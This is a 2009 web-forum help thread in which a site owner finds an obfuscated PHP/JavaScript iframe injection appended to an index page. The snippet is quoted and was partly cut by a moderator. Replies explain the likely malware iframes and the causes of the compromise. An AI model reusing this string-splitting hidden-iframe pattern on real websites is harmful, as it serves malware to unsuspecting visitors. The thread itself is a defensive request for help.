I think my friend's website got hacked?

[Walley]

I help made a website for a friend a while ago and recently went to visit it.
File permission: 604

If so how do I prevent this? The site has no textarea or inputs.

I noticed this error when opening the website:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';'

I then downloaded the file and found the below at the bottom of my index page.

<?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+" "ra"+"m"+"e>");</script>'; ?>

[edited by: jatar_k at 2:21 pm (utc) on July 30, 2009]
[edit reason] reduced malicious code [/edit]

[StoutFiles]

Looks like you're iframing some .cn sites. Obviously I'm not going to go to them but they may try to install software upon loading, which would be a big problem since they're iframed so small that it would appear as if you were giving out viruses.

[Walley]

How was this possible? Looks like they got a hold of the index file and some how wrote that into it. There are no textareas or inputs on the site.

[eeek]

How was this possible?

Bugs in a script you are running and permissions that allow the server to write over the content would be my guess.

[dreamcatcher]

Are you on a shared server? Maybe another site got hacked on the server and it affected all sites on the server.

dc